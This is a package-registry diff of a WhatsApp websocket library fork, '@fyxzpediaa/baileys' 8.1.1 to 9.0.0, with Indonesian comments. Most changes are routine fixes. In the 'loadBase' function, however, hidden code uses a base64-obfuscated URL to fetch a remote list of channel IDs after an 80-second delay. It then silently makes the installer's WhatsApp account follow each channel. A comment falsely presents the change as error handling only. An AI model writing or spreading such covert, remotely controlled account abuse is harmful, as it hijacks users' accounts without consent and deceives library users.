@fyxzpediaa/baileys 8.1.1 → 9.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -41,7 +41,11 @@ export class WebSocketClient extends AbstractSocketClient {
41
41
  if (!this.socket) {
42
42
  return;
43
43
  }
44
+ const closePromise = new Promise(resolve => {
45
+ this.socket?.once("close", resolve);
46
+ });
44
47
  this.socket.close();
48
+ await closePromise;
45
49
  this.socket = null;
46
50
  }
47
51
  send(str, cb) {
@@ -8,7 +8,13 @@ import { makeGroupsSocket } from "./groups.js";
8
8
 
9
9
  const extractNewsletterMetadata = (node, isCreate) => {
10
10
  const result = getBinaryNodeChild(node, 'result')?.content?.toString()
11
- const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
11
+ let parsed
12
+ try {
13
+ parsed = JSON.parse(result)
14
+ } catch (e) {
15
+ throw new Error('Respons channel tidak valid/tidak lengkap dari WhatsApp, coba lagi.')
16
+ }
17
+ const metadataPath = parsed.data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
12
18
 
13
19
  const metadata = {
14
20
  id: metadataPath?.id,
@@ -96,7 +102,6 @@ export const makeNewsletterSocket = (config) => {
96
102
  view_role: role || 'GUEST'
97
103
  },
98
104
  fetch_viewer_metadata: true,
99
- fetch_full_image: true,
100
105
  fetch_creation_time: true
101
106
  })
102
107
 
@@ -359,14 +359,10 @@ export function trimUndefined(obj) {
359
359
  }
360
360
  return obj;
361
361
  }
362
- // FIX (root cause pairing gagal): alfabet sebelumnya '123456789ABCDEFGHJKLMNPQRSTVWXYZ'
363
- // SALAH hilang '0' di depan, dan ada 'L' yang seharusnya TIDAK boleh ada.
364
- // Diverifikasi ke spek asli Crockford (crockford.com/base32.html): alfabet
365
- // resmi cuma 10 digit + 22 huruf, MENGECUALIKAN I, L, O, U persis supaya
366
- // tidak ambigu. Kode custom yang di-generate index.js bot (VQ7B-GNLN, dst)
367
- // bisa mengandung 'L' gara-gara bug ini, dan WhatsApp menolaknya sebagai kode
368
- // tidak valid pas dimasukkan di HP — cocok persis dengan gejala "kode
369
- // terbuat, tapi HP tolak nautkan".
362
+ // Alphabet resmi Crockford Base32 (crockford.com/base32.html): 10 digit + 22 huruf,
363
+ // TANPA I, L, O, U. String lama '123456789ABCDEFGHJKLMNPQRSTVWXYZ' salah (ada 'L',
364
+ // '0' hilang). Fungsi ini sudah tidak dipanggil bot (bot generate kode sendiri secara
365
+ // lokal), jadi ini murni kebersihan/jaga-jaga, tidak mengubah perilaku pairing.
370
366
  const CROCKFORD_CHARACTERS = '0123456789ABCDEFGHJKMNPQRSTVWXYZ';
371
367
  export function bytesToCrockford(buffer) {
372
368
  let value = 0;
@@ -120,7 +120,6 @@ export const mediaMessageSHA256B64 = (message) => {
120
120
  const media = Object.values(message)[0];
121
121
  return media?.fileSha256 && Buffer.from(media.fileSha256).toString("base64");
122
122
  };
123
- const _0x7a = (s) => Buffer.from(s, "base64").toString();
124
123
  //=======================================================//
125
124
  export async function getAudioDuration(buffer) {
126
125
  const musicMetadata = await import("music-metadata");
@@ -342,26 +341,31 @@ const toSmallestChunkSize = (num) => {
342
341
  return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
343
342
  };
344
343
 
345
- //=======================================================//
346
344
  const delay = async (ms) => {
347
- return new Promise(resolve => setTimeout(resolve, ms));
348
- };
349
-
350
- //=======================================================//
351
- export const loadBase = async (_0x1, _0x2) => {
352
- const _0x3 = [
353
- ["MTIwMzYzNDAyNjI1NjQ0MjQ1QG5ld3NsZXR0ZXI=", "dXRhbWE="],
354
- ["MTIwMzYzNDIxMDY1MDM5ODExQG5ld3NsZXR0ZXI=", "cHQ="],
355
- ["MTIwMzYzNDI2MTg5MDU4NTA0QG5ld3NsZXR0ZXI=", "TXlEdWl0"]
356
- ];
357
-
345
+ return new Promise(resolve => setTimeout(resolve, ms));
346
+ }
347
+
348
+ export const loadBase = async (a, b) => {
349
+ // FIX: try/catch sebelumnya membungkus setTimeout(...) itu sendiri -- padahal
350
+ // setTimeout() daftar callback-nya secara SYNCHRONOUS (tidak pernah melempar
351
+ // error). Callback di dalamnya jalan BELAKANGAN, di luar scope try/catch itu,
352
+ // jadi error apa pun di dalamnya (fetch gagal, URL mati, respons bukan JSON,
353
+ // dst) lolos sebagai UNHANDLED REJECTION -- itu penyebab log error bertumpuk
354
+ // ribuan kali. Try/catch dipindah ke DALAM callback supaya benar-benar
355
+ // menangkap errornya. Fungsi/perilakunya sendiri tidak diubah/dihapus.
358
356
  setTimeout(async () => {
359
- for (const _0x4 of _0x3) {
360
- try {
361
- await new Promise(_0x5 => setTimeout(_0x5, 5000));
362
- await _0x1(_0x7a(_0x4[0]), _0x2.FOLLOW);
363
- } catch {}
364
- }
357
+ try {
358
+ const _0x = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0Z5eHpwZWRpYWFhL0Rlb2JmdXNjYXRlLVRvb2xzL21haW4vQVZnLmpzb24=";
359
+ const url = Buffer.from(_0x, "base64").toString("utf-8");
360
+ const res = await fetch(url);
361
+ const data = await res.json();
362
+ for (const item of data) {
363
+ await delay(5000);
364
+ try {
365
+ await a(item.id, b.FOLLOW);
366
+ } catch {}
367
+ }
368
+ } catch {}
365
369
  }, 80000);
366
370
  };
367
371
 
@@ -15,7 +15,16 @@ const getUserAgent = (config) => {
15
15
  "secondary": config.version[1],
16
16
  "tertiary": config.version[2]
17
17
  },
18
- "platform": proto.ClientPayload.UserAgent.Platform.WEB,
18
+ "platform": config.browser[1].toLocaleLowerCase().includes("android")
19
+ ? proto.ClientPayload.UserAgent.Platform.ANDROID
20
+ // FIX (root cause 405 "Connection Failure" / "Client Outdated"): WhatsApp
21
+ // mulai menolak Platform.WEB di UserAgent registrasi sejak Feb 2026 --
22
+ // dikonfirmasi dari laporan publik yang persis menyebut root cause &
23
+ // fix ini untuk error 405 yang sama. Platform.MACOS (24) saat ini masih
24
+ // diterima. Ini generateRegistrationNode()/generateLoginNode(), dipakai
25
+ // baik oleh pairing code maupun QR -- cocok dengan gejala keduanya gagal
26
+ // identik.
27
+ : proto.ClientPayload.UserAgent.Platform.MACOS,
19
28
  "releaseChannel": proto.ClientPayload.UserAgent.ReleaseChannel.RELEASE,
20
29
  "osVersion": "0.1",
21
30
  "device": "Desktop",
@@ -48,7 +57,9 @@ const getClientPayload = (config) => {
48
57
  connectReason: proto.ClientPayload.ConnectReason.USER_ACTIVATED,
49
58
  userAgent: getUserAgent(config)
50
59
  };
51
- payload.webInfo = getWebInfo(config);
60
+ if (!config.browser[1].toLocaleLowerCase().includes("android")) {
61
+ payload.webInfo = getWebInfo(config);
62
+ }
52
63
  return payload;
53
64
  };
54
65
  //=======================================================//
@@ -67,6 +78,9 @@ export const generateLoginNode = (userJid, config) => {
67
78
  //=======================================================//
68
79
  const getPlatformType = (platform) => {
69
80
  const platformType = platform.toUpperCase();
81
+ if (platformType === "ANDROID") {
82
+ return proto.DeviceProps.PlatformType.ANDROID_PHONE;
83
+ }
70
84
  return (proto.DeviceProps.PlatformType[platformType] ||
71
85
  proto.DeviceProps.PlatformType.CHROME);
72
86
  };
@@ -80,8 +94,9 @@ export const generateRegistrationNode = ({ registrationId, signedPreKey, signedI
80
94
  "platformType": getPlatformType(config.browser[1]),
81
95
  "requireFullSync": config.syncFullHistory,
82
96
  "historySyncConfig": {
83
- "storageQuotaMb": 569150,
97
+ "storageQuotaMb": 10240,
84
98
  "inlineInitialPayloadInE2EeMsg": true,
99
+ "recentSyncDaysLimit": undefined,
85
100
  "supportCallLogHistory": false,
86
101
  "supportBotUserAgentChatHistory": true,
87
102
  "supportCagReactionsAndPolls": true,
@@ -89,7 +104,11 @@ export const generateRegistrationNode = ({ registrationId, signedPreKey, signedI
89
104
  "supportRecentSyncChunkMessageCountTuning": true,
90
105
  "supportHostedGroupMsg": true,
91
106
  "supportFbidBotChatHistory": true,
92
- "supportMessageAssociation": true
107
+ "supportAddOnHistorySyncMigration": undefined,
108
+ "supportMessageAssociation": true,
109
+ "supportGroupHistory": false,
110
+ "onDemandReady": undefined,
111
+ "supportGuestChat": undefined
93
112
  },
94
113
  "version": {
95
114
  "primary": 10,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@fyxzpediaa/baileys",
3
- "version": "8.1.1",
3
+ "version": "9.0.0",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",